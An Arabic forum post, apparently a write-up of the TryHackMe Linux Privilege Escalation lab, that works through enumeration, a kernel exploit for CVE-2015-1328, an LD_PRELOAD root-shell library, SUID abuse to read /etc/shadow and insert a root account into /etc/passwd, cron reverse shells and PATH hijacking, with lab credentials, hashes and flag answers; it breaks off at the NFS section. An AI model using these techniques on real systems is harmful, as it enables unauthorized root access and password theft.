






السمعة:
- إنضم17 يونيو 2023
- المشاركات 515
- الحلول 10
- مستوى التفاعل 1,106
- النقاط 93
الـ Privilege Escalation
الـ Privilege escalation هي عبارة عن طريقة لزيادة صلاحياتك داخل نظام كمبيوتر معين, يعني مثلاً لو أنت مستخدم عادي وبدك توصل لصلاحيات المدير
الموضوع مش سهل ولا فيه حلول سريعة كل اشي بعتمد على إعدادات النظام اللي بتحاول تهاجمه يعني مثلاً إصدار الـ kernel والبرامج المثبتة ولغات البرمجة المدعومة وحتى كلمات السر للمستخدمين الآخرين كل هاد بأثر في الطريقة اللي بنستخدمها عشان نوصل لصلاحيات مدير النظام.
الـ Privilege Escalation
الموضوع ببساطة هو إنك تبدأ من حساب مستخدم عادي بصلاحيات قليلة وتوصل لحساب بصلاحيات أعلى.
تقنيًا هو استغلال لثغرة أمنية أو خطأ في التصميم أو إعداد خاطئ في نظام التشغيل أو التطبيق للوصول غير المصرح به للموارد التي عادة ما تكون مقيدة من المستخدمين.
ليش الـ Privilege Escalation مهم؟
من النادر جدًا في اختبار الاختراق في العالم الحقيقي أن تحصل على وصول مباشر للـ system administrator الـ Privilege Escalation , مهم جدًا لأنه بسمحلك تحصل على الـ system administrator في النظام.
بسمح لك بعمليات زي :
- إعادة تعيين كلمات المرور
- تجاوز ضوابط الوصول لاختراق البيانات المحمية
- تعديل إعدادات البرمجيات
- تفعيل الثبات ( persistence )
- تغيير صلاحيات المستخدمين الحاليين (أو الجدد)
- تنفيذ أي أمر إداري
راح نركز على النقاط التالية:
1. الـ Enumeration وأدوات بتعمل Automated Enumeration
2. رفع الصلاحيات باستخدام الـ Kernel
3. رفع الصلاحيات باستخدام الـ Sudo
4. رفع الصلاحيات باستخدام الـ SUID
5. رفع الصلاحيات باستخدام الـ Capabilities
6. رفع الصلاحيات باستخدام الـ Cron Jobs
7. رفع الصلاحيات باستخدام الـ PATH
8. رفع الصلاحيات باستخدام الـ NFS
9. تحدي عملي لرفع الصلاحيات
الأسئلة من TryHackMe | Linux Privilege Escalation
الـ Enumeration وأدوات بتعمل Automated Enumeration
نسجل دخول عن طريق الـ ssh :-
الاسم : karen
الباس : Password1
لما نحصل على وصول إلى أي نظام معين الخطوة الأولى اللي لازم نعملها هي الـ Enumeration أي نحصر ونجمع كل المعلومات الممكنة حول هذا النظام ممكن يكون الك وصول إلى النظام عن طريق استغلال ثغرة أدت إلى الوصول إلى مستوى عالي ( root-level ) أو ممكن اكتشفت طريقة ترسل أوامر باستخدام حساب بـ صلاحيات منخفضة
بتميز اختبار الاختراق عن الـ CTF بأنه ما بنتهي بمجرد الوصول إلى نظام معين أو مستوى صلاحيات محدد للمستخدم , الـ Enumeration أمر مهم جداً خلال مرحلة ما بعد الاختراق تماماً كما هو مهم قبل الاختراق.
الـ hostname هو الأمر اللي برجعلك اسم الجهاز اللي متصل عليه وبالرغم إنه هالقيمة بتقدر تتغير بسهولة وتكون سلسلة معاني ( زي مثلاً Ubuntu-3487340239 ) بعض الأحيان ممكن تقدم معلومات عن النظام داخل الشبكة (مثلاً SQL-PROD-01 لجهاز خادم SQL للإنتاج).
الـ uname -a برجعلك معلومات عن النظام وبعطيك تفاصيل أكتر عن الـ kernel اللي بستخدمها النظام هاد بفيد لما تدور على ثغرات محتملة في الـ kernel اللي ممكن تساعدك ترفع صلاحياتك.
الـ proc filesystem بعطيك معلومات عن عمليات النظام بتقدر تلاقي proc في أنظمة لينكس كتيرة زي لما نشغل proc/version/ ممكن نشوف معلومات عن إصدار الـ kernel وبيانات إضافية زي إذا كان في مثلاً compiler مثل GCC مثبت فـ هو أداة ضرورية.
الـ etc/issue/ هاد الملف عادة بحتوي على بعض المعلومات عن نظام التشغيل بس بتغير بسهولة و أي ملف فيه معلومات عن النظام بتعدل أو بتغير.
الـ sudo -l بعرض للمستخدم قائمة بكل الأوامر التي يمكنه تشغيلها بصلاحيات مرتفعة (بمعنى أنه يمكن تشغيلها بصلاحيات الـ root ) باستخدام sudo دون الحاجة إلى توجيه الطلب مباشرة إلى المسؤول الرئيسي الـ root .
الـ ls أحد الأوامر الشائعة في لينكس هو الـ ls اللي بيساعدك تشوف محتوى المجلدات والملفات في النظام.
الـ id بعرضلك ملخص عن مستوى صلاحياتك بالنظام والمجموعات اللي أنت فيها.
الـ etc/passwd/ قراءة ملف etc/passwd/ بتكون طريقة سهلة لاكتشاف المستخدمين على النظام , الملف هاد بحتوي على معلومات عن المستخدمين مثل اسم المستخدم ورقمه والمجلد الرئيسي وغيرها.
الـ history بعرضلك الأوامر اللي استخدمتها قبل بالنظام وهاد ممكن يفيدك تعرف أيش اللي صار عالنظام قبل.
الـ ps Command (أمر ps) هذا الأمر يستخدم في نظام Linux لمراقبة العمليات الجارية , عند كتابة ps في نافذة الـ terminal بعرضلك العمليات الشغاله بالـ shell الحالي.
- النتائج التي يعرضها الأمر تشمل :
- الـ PID : رقم تعريفي فريد لكل عملية.
- الـ TTY : نوع الـ terminal المستخدم.
- الـ Time : كمية وقت وحدة المعالجة المركزية المستخدمة من قبل العملية.
- الـ CMD : الأمر أو البرنامج الذي يتم تشغيله.
- يوجد بعض الخيارات المفيدة مثل :
- ps -A : لعرض جميع العمليات الجارية.
- ps axjf : لعرض شجرة العمليات.
- ps aux : يعرض العمليات لجميع المستخدمين مع معلومات إضافية مثل اسم المستخدم وعدم الانتماء إلى terminal .
الـ env Command (أمر env) يُستخدم لعرض المتغيرات البيئية في النظام , مثلًا متغير الـ PATH ممكن يحتوي على مسارات لبرامج محددة ممكن تفيد لتطوير أو لتشغيل البرامج.
تفاصيل إضافية :
- يمكن استخدام معلومات العمليات المسترجعة من ps لمراقبة أداء النظام والكشف عن أي مشاكل.
- يمكن استخدام بيانات العمليات لتحديد العمليات الخطيرة أو البرامج اللي ممكن تكون مشبوهة ممكن تساعدنا بتحسين أمان النظام وتحديد نقاط الضعف المحتملة.
الـ ifconfig بتعطيك معلومات مفصلة حول واجهات الشبكة على النظام وبينها معلومات مهمة مثل عنوان الـ IP الخاص بالجهاز وعنوان الـ MAC وغيرها من المعلومات اللازمة لتوصيل الجهاز بالشبكة.

ممكن نستخدم الأمر ip routre لمعرفة إذا كان الوصول متاح للواجهات الشبكية الأخرى غير eth0 من جهاز الهجوم وهاد بساعد بفهم البيئة الشبكية وتحديد إمكانية الوصول إلى أجهزة أخرى بالشبكة.
الـ netstat بتخليك تشوف كل شيء عن الإتصالات اللي بالنظام الخاص فيك.
يعني مثلاً لو بدك تشوف البورتات اللي فاتحة والإتصالات اللي معمولة تقدر تستخدم الأمر هاد

كود:
netstat -a

كود:
netstat -at

كود:
netstat -au
كود:
netstat -l
كود:
netstat -s

كود:
netstat -tp

وبنلاقي عمود اسمه PID/Program name فاضي عشان البروسيس هاد مملوك من قبل مستخدم تاني
بس لو استخدمت الأمر هاد بصلاحيات root بتلاقي العمود بعرضلك بيانات زي 2641/nc (netcat)

ولو بدك يعرضلك إحصائيات الـ interface بتستخدم الأمر هاد

كود:
netstat -i
مثلًا بالمثال هاد بنلاقي إن eth0 و tun0 أكثر نشاط من tun1

كود:
netstat -ano
- الـ a بعرضلك كل السوكيتات، يعني الإتصالات اللي يتم إنشاءها والبورتات الفاتحة
- الـ n اللي بتعمله إنها ما تحول أسماء الهوستات تخليها ip يعني تعرضلك الـIP مباشرة بدل ما تحاول تجيب أسماء الأجهزة
- الـ o بعرضلك معلومات عن السوكيتات زي الوقت اللي مرت عليها
الأمر find هو أمر أساسي جدًا في التصفح والبحث في النظام اللي بتشتغل عليه بساعدك تلاقي معلومات مهمة ممكن ما تكون بتقدر توصللها بسهولة
النماذج اللي تحت هي عبارة عن أمثلة على استخدام الأمر find :
الأمر هاد عشان نلاقي الملف اللي اسمه في المجلد اللي أنت فيه حاليًا:
كود:
find . -name flag1.txt
الأمر هاد عشان نلاقي الملف اللي اسمه flag1.txt في المجلد home/ :
كود:
find /home -name flag1.txt
الأمر هاد عشان نلاقي المجلد اللي اسمه config في كل النظام:
كود:
find / -type d -name config
الأمر هاد عشان نلاقي ملفات بصلاحيات 777 (ملفات قابلة للقراءة والكتابة والتنفيذ من قبل كل المستخدمين):
كود:
find / -type f -perm 0777
الأمر هاد عشان نلاقي ملفات تنفيذية ( executable ):
كود:
find / -perm a=x
الأمر هاد عشان نلاقي كل الملفات اللي مالكها فرانك في مجلد home/ :
كود:
find /home -user frank
الأمر هاد عشان نلاقي ملفات اللي تم تعديلها في الـ 10 أيام الأخيرة:
كود:
find / -mtime 10
الأمر هاد عشان نلاقي كل ملفات اللي تم الوصول إليها في الـ 10 أيام الأخيرة:
كود:
find / -atime 10
الأمر هاد عشان نلاقي الملفات اللي تم تغييرها في الساعة اللي فاتت (60 دقيقة):
كود:
find / -cmin -60
الأمر هاد عشان نلاقي الملفات اللي تم الوصول إليها في الساعة اللي فاتت (60 دقيقة):
كود:
find / -amin -60
الأمر هاد عشان نلاقي الملفات اللي حجمها 50 ميجا بايت:
كود:
find / -size 50M
يمكن استخدام الأمر هاد مع (+) و (-) عشان نحدد ملفات أكبر أو أصغر من الحجم المحدد
مثال
الامر هاد عشان نلاقي الملفات اللي حجمها اكبر من 100 ميجا بايت
كود:
find / -size +100M
ومهم جدًا تعرف أن الأمر بعطي أحيانًا أخطاء بتخلي الناتج صعب القراءة فـ من الأفضل استخدام الأمر مع
كود:
2>/dev/null
الأوامر هاي عشان نلاقي المجلدات اللي بإمكاننا نكتب فيها
كود:
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
عشان نلاقي أدوات التطوير واللغات اللي مدعومة :
كود:
find / -name perl*
find / -name python*
find / -name gcc*
مثال قصير للبحث عن ملفات فيها بت SUID :
الـ SUID بتسمح للملف يشتغل بصلاحيات المستخدم اللي مالكه بدل من المستخدم اللي شغال البرنامج
هاد بفتح فرصة لزيادة الصلاحيات وراح نحكي لقدام عنها أكثر المثال هاد معروض عشان نكمل الكلام عن الأمر find
الأمر هاد عشان نلاقي الملفات اللي فيها بت SUID :
كود:
find / -perm -u=s -type f 2>/dev/null
وأيضًا أوامر لينكس العامة مُفيدة لعملية الـ Enumeration
أدوات الـ Automated Enumeration
أدوات الـ Automated Enumeration اللي بتساعدك توفر وقت في عملية الـ Enumeration الأدوات هاي لازم تستخدمها عشان توفر وقت بس خلي بالك إنها ممكن تفوت عليك نقاط تساعدك ترفع صلاحياتك.
نوع النظام اللي بتهاجمه هو اللي بيحدد أي أداة لازم تستخدمها , مثلًا لو ما كان عندك بايثون مثبت بالنظام اللي بتخترقه ما رح تقدر تشغل أداة مكتوبة بالبايثون لهيك الأفضل إنك تكون ملم بعدة أدوات بدل ما تعتمد على أداة وحدة.
الـ LinPeas
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
الـ LinEnum
https://github.com/rebootuser/LinEnum
الـ LES (Linux Exploit Suggester)
https://github.com/mzet-/linux-exploit-suggester
الـ Linux Smart Enumeration
https://github.com/diego-treitos/linux-smart-enumeration
الـ Linux Priv Checker
https://github.com/linted/linuxprivchecker
ما هو اسم المضيف للنظام الهدف؟ ( الحل عن طريق الأمر ( hostname ) )
wade7363
ما هو إصدار Linux kernel للنظام المستهدف؟ ( الحل عن طريق الأمر ( uname -a ) )
3.13.0-24-generic
ما هو لينكس هذا؟ ( الحل عن طريق الأمر ( uname -a ) )
Ubuntu 14.04 LTS
ما هو إصدار لغة بايثون المثبت على النظام؟ ( الحل عن طريق الأمر ( python -V ) )
2.7.6
ما هي الثغرة الأمنية التي يبدو أنها تؤثر على الـ kernel المستهدف ؟ (ادخل رقم CVE) ( الحل عن طريق البحث )
CVE-2015-1328
رفع الصلاحيات باستخدام الـ Kernel
نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة:
اسم المستخدم : karen
الباسورد : Password1
الفكرة إننا نلاقي ثغرة في النظام ونستغلها عشان نوصل لـ صلاحيات أعلى
بنقدر نوصل لـ صلاحيات أعلى عن طريق :
- أننا نستخدم ثغرة موجودة
- أننا ندخل على حساب مستخدم ثاني فيه صلاحيات أعلى
الـ kernal هو اللي بدير التواصل بين الأشياء زي الذاكرة في الجهاز والبرامج لكن لازم الـ kernal هاد يكون عنده صلاحيات معينة فلو اكتشفنا ثغرة فيه واستغليناها ممكن نوصل لـ صلاحيات الـ root
الفكره بسيطه بس نعرف إصدار ( نسخة الـ kernal ) وبعدها بندور على كود لثغرة متوافق مع النسخة هاي , بس اكيد ممكن الثغرة تؤدي لتعطل النظام فتأكدوا إنكم مستعدين للمخاطرة هاي قبل ما تحاولوا تنفذوا أي ثغرة.
للبحث عن كود لثغرات ممكن نستخدم جوجل أو مواقع زي
https://www.linuxkernelcves.com/cves
وممكن كمان تستخدم LES ( Linux Exploit Suggester ) أكيد في إحتمالية إنه يعطيكم نتائج خاطئة يعني يعطيك ثغرة وهمية أو ما يعطيك أي ثغرات بالرغم إن الـ kernal فيه ثغرات
نصائح:
- تأكد من تحديد إصدار الـ kernal بدقة عند البحث عن ثغرات
- تأكد من فهم كيفية عمل الثغرة قبل تنفيذها
- قد تتطلب بعض الثغرات تفاعل إضافي بعد تشغيلها اقرأ كل التعليقات والتعليمات المرفقة مع كود الثغرة
- بتقدر تنقل كود الثغرة من جهازك للجهاز المستهدف باستخدام SimpleHTTPServer Python module و wget
السؤال:
( الحل عن طريق الأمر نعرف الإصدار ( uname -a ) )
ثم نجد الـ CVE-2015-1328 ونجد بالموقع
PoC/CVE-2015-1328/CVE-2015-1328.c at master · DarkenCode/PoC
PoC collection. Contribute to DarkenCode/PoC development by creating an account on GitHub.
الكود :
بنفتح بايثون سيرفر عشان ننقل الملف على اللينكس اللي سجلناله عن طريق الـ ssh قبل عن طريق الأمر:
كود:
python3 -m http.server
بعدها بنكتب wget والـ ip زي اللي بالصورة عشان ننقل الملف على لينكس , بعدها بنحول الملف من c عشان نقدر ننفذه على لينكس عن طريق الأمر:
كود:
gcc CVE-2015-1328.c -o output
بعدها بنشغل الملف وهيك بنكون رفعنا صلاحياتنا وصرنا root
ما هو محتوى ملف flag1.txt؟
THM-28392872729920
رفع الصلاحيات باستخدام الـ Sudo
نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة :
اسم المستخدم : karen
الباسورد : Password1
الـ sudo هو أمر بسمحلك تشغل البرامج بصلاحية الـ root , لكن ببعض الأحيان بحتاج مسؤولين النظام إنهم يعطوا مستخدمين شوية مرونة بـ صلاحياتهم, مثلًا مُحلل أمن مبتدئ بحتاج يستخدم Nmap بانتظام بهاي الحالة بإمكان مسؤول النظام يسمح لهاد المستخدم بتشغيل Nmap فقط بصلاحيات الـ روت مع الإحتفاظ بمستوى الصلاحيات العادي اللي معاه بباقي النظام
أي مستخدم بإمكانه يتحقق من وضعه الحالي اللي بتعلق بصلاحيات الـ root باستخدام الأمر sudo -l
موقع: https://gtfobins.github.io
هو موقع رهيب بقدم معلومات عن كيفية استخدام أي برنامج بمتلك صلاحيات sudo عليه
بعض التطبيقات ممكن ما يكون فيها ثغرات معروفه مثل خادم Apache2 , بهاي الحالة ممكن نستخدم ثغرة لتسريب المعلومات باستغلال وظيفة معينة في التطبيق
بالمثال هون عنا الـ Apache2 فيها خيار بدعم تحميل ملفات ممكن نستخدم الأمر f- عشان نحدد ملف
بعض الأنظمة لما نستخدم الامر sudo -l ممكن نشوف فيها خيار اسمه LD_PRELOAD وهي وظيفة بتسمح لأي برنامج يستخدم مكتبات
وفي عنا الـ env_keep إذا كان الخيار مفعل ممكن ننشئ مكتبة مُشتركة يتم تحميلها وتنفيذها قبل تشغيل البرنامج لكن لازم نعرف عن خيار LD_PRELOAD إنه بتجاهل إذا كانت الهوية الحقيقية للمستخدم مختلفة عن الهوية الفعلية اللي إله

الخطوات هون لرفع الصلاحيات بنقدر نلخصها كالتالي :
بنتحقق من LD_PRELOAD ( بخيار env_keep ) بنكتب كود C بسيط وبنحوله لملف امتداده so. وبنشغل البرنامج بصلاحيات sudo وبخيار LD_PRELOAD وحدد الملف الـ so.
الكود C هيكون ببساطة عبارة عن الآتي :
كود:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
ممكن نحفظ الكود هاد باسم shell.c وبنحوله عن طريق الـ gcc إلى ملف امتداده so.
كود:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ممكن نستخدم الملف هاد عشان نرفع صلاحياتنا على النظام , بنشغله وبنحط معاه sudo

كم عدد البرامج التي يمكن للمستخدم "karen" تشغيلها على النظام المستهدف بحقوق Sudo؟
3
ما هو محتوى ملف flag2.txt؟
THM-402028394
لازم نرفع صلاحياتنا عشان نجاوب على السؤال الرابعكيف يمكنك استخدام Nmap لإنتاج root shell إذا كان لدى المستخدم استخدام sudo على nmap؟
sudo nmap --interactive
وحده من الثلاث أشياء التي نستطيع تشغيلها هي nano
نذهب الى موقع
GTFOBins

ونبحث عن nano ونذهب لقسم الـ sudo
ما هو تجزئة كلمة مرور فرانك؟
كود:$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1
رفع الصلاحيات باستخدام الـ SUID
نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة:
اسم المستخدم : karen
الباسورد : Password1
الـ SUID اللي هو Set-user Identification
الـ SGID اللي هو Set-group Identification
هدول بخلوا الملفات تتنفذ بصلاحيات مالك الملف أو مجموعته
وبنلاحظ أن الملفات هاي عندها بت s فوق (هاي معناها إنه فيها صلاحيات خاصة)
عشان نعرف الملفات اللي عندها هاي الأذونات بنكتب الأمر التالي:
كود:
find / -type f -perm -04000 -ls 2>/dev/null
وهو بعرضلك قائمة بالملفات اللي عندها SUID أو SGID

القائمة اللي بنشوفها هنا بتبين إن الملف nano عنده SUID
لما يكون الـ SUID للـ nano مفعلة بتخلينا نقدر نعمل ونعدل ونقرأ الملفات باستخدام صلاحيات صاحب الملف نفسه
وإذا كان صاحب الملف هو root يعني احتمال كبير إننا نقدر نقرأ ونعدل ملفات على مستوى صلاحيات أعلى من صلاحيات المستخدم اللي احنا فيه حاليًا
بهاي الخطوه عنا خيارين عشان نرفع صلاحياتنا : إما نقرأ ملف etc/shadow/ أو نضيف مستخدم جديد لملف etc/passwd/
وراح نحل على الطريقتين
نقرأ ملف etc/shadow/
بنكتب الأمر هاد:
كود:
nano /etc/shadow
عشان نقدر نستخدم هاي الأداة لازم يكون عنا ملفين etc/shadow/ و etc/passwd/
باستخدام الأداة unshadow
كود:
unshadow passwd.txt shadow.txt > passwords.txt
بعدها عن طريق john بنقدر نعرف الباسوورد أو أكثر من باسورد للمستخدمين
الروم هاي بتفيدكم عشان تتعرفوا على الأداة بشكل أكبر
https://tryhackme.com/room/johntheripper0
نضيف مستخدم جديد لملف etc/passwd/
أولًا
الـ passwd هذا الجزء من الأمر يعني أننا بدنا ننشئ كلمة مرور مشفرة.
الـ 1- هذا الخيار يحدد استخدام خوارزمية التشفير MD5
الـ salt abood- هذا الخيار يحدد قيمة الملح (salt) التي تُضاف إلى كلمة المرور قبل تشفيرها، حيث abood هو قيمة الملح التي تم تحديدها هنا.
الـ pass1 هاي هي كلمة المرور اللي بدك تشفرها
بنضيف هذا السطر على ملف passwd , علمًا أن كلمه السر للحساب اللي اسمه abood هي pass1
كود:
abood:$1$abood$b8GqxlLtummao0MjRxmoA1:0:0:root:/root:/bin/bash
بعدها بنضيف كلمة السر هاي واسم المستخدم لملف etc/passwd/
من هو المستخدم الذي يشارك اسم كاتب كتاب الـ great comic؟
من هو المستخدم الذي يشارك اسم كاتب كتاب الـ great comic؟
gerryconway
ما هي كلمة المرور للمستخدم 2؟
أولًا عن طريق الأمر:
كود:
cat /etc/passwd
نأخذ الناتج ونخزنه على جهازنا الأساسي بملف اسمه passwd.txt
ثانيًا عن طريق الأمر
ملاحظه عند محاوله كتابه الأمر
كود:
cat /etc/shadow
لكن عند استخدام الأمر التالي:
كود:
find / -type f -perm -04000 -ls 2>/dev/null
بنلاقي الـ bas64 لذلك بنعرض اللي بداخل الملف shadow عن طريق الأمر
نأخذ الناتج ونخزنه على جهازنا الأساسي بملف اسمه shadow.txt
بعدها زي ما حكينا قبل باستخدام الأداة unshadow
كود:
unshadow passwd.txt shadow.txt > passwords.txt
بعدها عن طريق john بنقدر نعرف الباسوورد أو أكثر من باسورد للمستخدمين
بعدها نأخذ قيمه الهاش ونضعها بملف للمستخدم المطلوب معرفة كلمة السر الخاصة فيه عن طريق john أو hashcat
ما هي كلمة المرور للمستخدم 2؟
Password1
ما هو محتوى ملف flag3.txt؟
THM-3847834
رفع الصلاحيات باستخدام الـ Capabilities
نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة:
اسم المستخدم : karen
الباسورد : Password1
الـ Capabilities بتساعد على إدارة الصلاحيات بشكل دقيق أكثر , مثلًا إذا احتاج محلل SOC إلى استخدام أداة تحتاج إلى بدء اتصالات socket المستخدم العادي ما بقدر يعمل هيك لو ما معه صلاحيات عالية.
إذا قدرنا نعدل على الـ Capabilities
هي أسلوب ثاني لمسؤولي النظام بإمكانهم استخدامه لرفع مستوى الصلاحيات لبرنامج أو عملية معينة ( بغير بالبرنامج )
باختصار البرنامج بعمل شغله دون ما يحتاج مستخدم بصلاحيات عالية
بنقدر نستخدم أداة getcap عشان نشوف الـ Capabilities المفعلة عن طريق الأمر التالي:
كود:
getcap -r / 2>/dev/null
لو شغلت الأداة بحساب مستخدم عادي بطلعلك كثير أخطاء فـ الأفضل تحول رسائل الخطأ هاي لملف dev/null/
كم عدد الـ binaries اللي حددتها الـ Capabilities ؟
6
ما هي الـ binaries الأخرى التي يمكن استخدامها من خلال Capabilities ؟
view
بنبحث بموقع GTFOBins عن الـ vim وبنحدد بدنا نقرأ ملف بنلاقي ( أمر عادي بـ لينكس )
هيك بعرضلنا الحل :
ما هو محتوى ملف flag4.txt؟
THM-9349843
رفع الصلاحيات باستخدام الـ Cron Jobs
نسجل دخول عن طريق الـ ssh بالمعلومات المُعطاة:
اسم المستخدم : karen
الباسورد : Password1
الـ Cron jobs هي عبارة عن مهام بتتنفذ بأوقات محددة زي ممكن تكون بتشغل سكريبتات أو برامج فـ بشكل افتراضي بتشتغل بصلاحيات المالك الأصلي مش بصلاحيات المستخدم الحالي اللي مسجل على النظام.
الـ Cron jobs مش مشكلة بحد ذاتها لكن ببعض الحالات ممكن تكون مصدر لاختراق الصلاحيات
الفكرة بسيطة لو فيه مهمة مجدولة بتشتغل بصلاحيات الـ root واحنا قادرين نغير السكربت اللي بتنفذ هيك بشتغل السكريبت بصلاحيات الـ root
إعدادات الـ Cron jobs بتتخزن بملفات crontab عشان نشوف المواعيد اللي بتتنفذ فيها المهام
كل مستخدم على النظام بكون عنده ملف crontab خاص فيه وبقدر يشغل مهام معينة سواء كان مسجل على النظام أو لا, الهدف نلاقي مهمة Cron job مسجلة من قبل الـ root ونخليها تشغل السكريبت اللي احنا بدنا إياه , أفضل شيء ممكن نحطه هو shell
أي مستخدم ممكن يقرأ الملف اللي بنحفظ بالمهام الخاصة بالنظام بـ etc/crontab/
بالـ CTF machines بتكون فيها مهام Cron بتشتغل كل دقيقة أو كل 5 دقايق بس بالعادة بنشوف المهام اللي بتشتغل يوميًا أو أسبوعيًا أو شهريًا في اختبارات اختراق الأنظمة.
بنقدر نشوف إن السكريبت backup.sh مُعدل عليه عشان يشتغل كل دقيقة, محتوى الملف ببين سكريبت بسيط بعمل نسخة إحتياطية من ملف prices.xls
وطبعًا واحنا كمستخدم حالياً قادرين نوصل للسكريبت هاد وطبعًا ممكن نعدل عليه بسهولة ونحط فيه reverse shell مع الأمل إننا نصبح بصلاحيات الـ root
السكربت بستخدم الأدوات الموجودة على النظام المستهدف عشان يشغل الـ reverse shell
نقطتين لازم نلاحظهم:
طريقة كتابة الأوامر بتختلف اعتمادًا على الأدوات المتوفرة , مثلاً أداة nc ممكن ما تدعم الخيار e- اللي شفناه مستخدم بحالات ثانية الأفضل نستخدم reverse shell عشان ما نعرض سلامة النظام للخطر في اختبار الاختراق الحقيقي
الملف بكون بهاد الشكل
وبنشغل ليسنر على جهازنا عشان نستقبل الإتصال
دايمًا يستحق التحقق من الـ Cron tab عشان ممكن يكون فيها فرص سهلة لرفع الصلاحيات
سيناريو ممكن يصير لشركه غير متطلعه على الحماية منيح , مديري النظام بحتاجوا يشغلوا سكريبت معين بشكل منتظم
بعملوا Cron job عشان ينفذوا السكريبت هاد , بعد فترة ما بحتاجو السكريبت هاد وبحذفوه بس ما بنمسح الـ cron job اللي عملوه قبل
فـ نفكر شوي ... مشكلة فعلاً
مثال:
المثال هاد بوضح موقف شبيه حيث تم حذف سكريبت antivirus.sh بس الـ cron job لسه موجودة , لو المسار الكامل للسكريبت مش محدد ( زي ما تم عمله للسكريبت backup.sh )
الـ cron بشوف الـ PATH اللي موجودة بـ etc/crontab/ بالحالة هاي بنكون قادرين نعمل سكريبت باسم antivirus.sh بمجلد اليوزر الخاص فينا والـ cron job بشغله
الملف على النظام المستهدف بنعمله على هاد الشكل ( revers-shell )
اتصال الـ reverse shell الجاية بصلاحيات الـ root
نادر إنك تلاقي سكريبت موجود أو مهمة مرتبطة بـ cron job دايماً بستحق الوقت إللي بتستغرقه عشان تفهم وظيفة السكريبت وكيفية استخدام أي أداة في سياق السكريبت , مثلًا أدوات زي tar، 7z، rsync ممكن تستغل باستخدام خاصية الـ wildcard الخاصه فيها
كيفية حلهكم عدد وظائف cron المحددة من قبل المستخدم التي يمكنك رؤيتها على النظام المستهدف؟
4

وما ننسى نعدل نخليه هيك :
بنعدل اللي داخل الملف لـ
بنشغل الليسنر
بعدها بنرفع صلاحيات الملف عن طريق الأمربنشغل الليسنر
كود:
chmod+x backup.sh
وبنستنا شوي
بنبحث عن الفلاق عن طريق الأمر:
كود:
find / -name flag5.txt 2>/dev/null
ما هو محتوى ملف flag5.txt ؟
THM-383000283
عن طريق الأمر التالي بظهر الهاش للباسورد للمستخدمين
كود:
cat /etc/shadow
وبظهر تحت
بنوخذ الهاش وبنحطه بملف
بعدها عن طريق john بنقدر نكسر الهاش
بنوخذ الهاش وبنحطه بملف
بعدها عن طريق john بنقدر نكسر الهاش
ما هي كلمة مرور Matt's ؟
123456
رفع الصلاحيات باستخدام الـ PATH
نسجل دخول عن طريق الـ ssh بالمعلومات المُعطاة :
اسم المستخدم : karen
الباسورد : Password1
إذا كان فيه مجلد عندك وأنت عندك صلاحية كتابة فيه ممكن تتلاعب بالتطبيقات وتشغل سكربتات بـ لينكس في شيء اسمه PATH هاد بعرف النظام وين يدور على البرامج القابلة للتشغيل
يعني لو كتبت أمر بالتيرمينال مش مدرج بالشل أو مكتوب بالمكان الكامل النظام ببلش يدور في بمجلدات اللي بالـ PATH
عادةً الـ PATH بكون شكلها هيك :

إذا كتبنا thm بالتيرمينال النظام بدور بالمجلدات هاي عشان يلاقي ملف اسمه thm السيناريو اللي تحت راح يوضحلك أكتر كيف ممكن نستخدم الموضوع هاد عشان نرقي صلاحياتنا
بس هاد كله بعتمد على إعدادات النظام المستهدف فـ تأكد إنك بتقدر تجاوب على الأسئلة اللي تحت قبل ماتجرب
- ما هي المجلدات الموجودة ضمن الـ PATH$ ؟
- المستخدم الحالي عنده صلاحيات كتابة في أي من هاي المجلدات ؟
- هل بنقدر نعدل بالـ PATH$ ؟
- فيه سكربت أو برنامج بتقدر تشغله ويتأثر بالثغرة هاي ؟
عشان نعرض الثغرة بنستخدم السكربت هاد :
C:
#include<unistd.h>
void main ()
{
setuid (0);
setgid (0);
system("thm");
}
السكربت هاد بحاول يشغل ملف نظام اسمه thm بس هاد ممكن تعمله بأي ملف نظام آخر
بنجمع السكربت هاد بملف قابل للتشغيل
كود:
gcc file.c -o file -w
وبنضيفله SUID bit
chmod u+s file
المستخدم حاليًا عنده وصول للسكربت PATH و SUID bit مضاف له , لما يتم تنفيذ السكربت PATH ببحث عن ملف قابل للتشغيل اسمه thm بالمجلدات المدرجة تحت PATH
إذا كان أي مجلد قابل للكتابة موجود تحت PATH ممكن ننشئ ملف نظام اسمه thm بالمجلد هاد وبنخلي السكربت PATH يشغله
البحث عن مجلدات قابلة للكتابة بسيط جدًا باستخدام الأمر التالي:
كود:
find / -writable 2>/dev/null
ويمكن استخدام الأمر التالي كبديل:
كود:
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

للأسف المجلدات الفرعية داخل الـ usr/ غير قابلة للكتابة , المجلد اللي بكون من الأسهل الكتابة فيه هو على الأرجح tmp/
لكن لانه الـ tmp/ مش موجود بالـ PATH بنضيفه عن طريق الأمر:
كود:
export PATH=/tmp:$PATH
إنشاء هذا الملف سهل نسبيًا
ببساطة بننسخ الملف bin/bash/ باسم thm داخل المجلد tmp/ عن طريق الأمر :
كود:
echo "/bin/bash" > thm
كود:
chmod +x thm
يرجى ملاحظة أنه في هذه المرحلة سيتم تشغيلها بصلاحيات المستخدم الخاصة بنا واللي بخلي تصعيد لصلاحيات أعلى ممكن في هذا السياق هو أن سكربت الـ PATH بشتغل بصلاحيات الـ root
لو نجحنا بتشغيل السكربت PATH بكون الـ thm بنفس الصلاحيات وبما أن الـ PATH بشتغل بصلاحيات الـ root هيك الـ thm بشتغل بصلاحيات الـ root كمان
الحل بالخطوات
ما هو المجلد الغريب الذي لديك حق الوصول للكتابة فيه؟
home/murdoch/
ما هو محتوى ملف flag6.txt؟
THM-736628929
رفع الصلاحيات باستخدام الـ NFS
نسجل دخول عن طريق الـ ssh بالمعلومات المُعطاة:
اسم المستخدم : karen
الباسورد : Password1
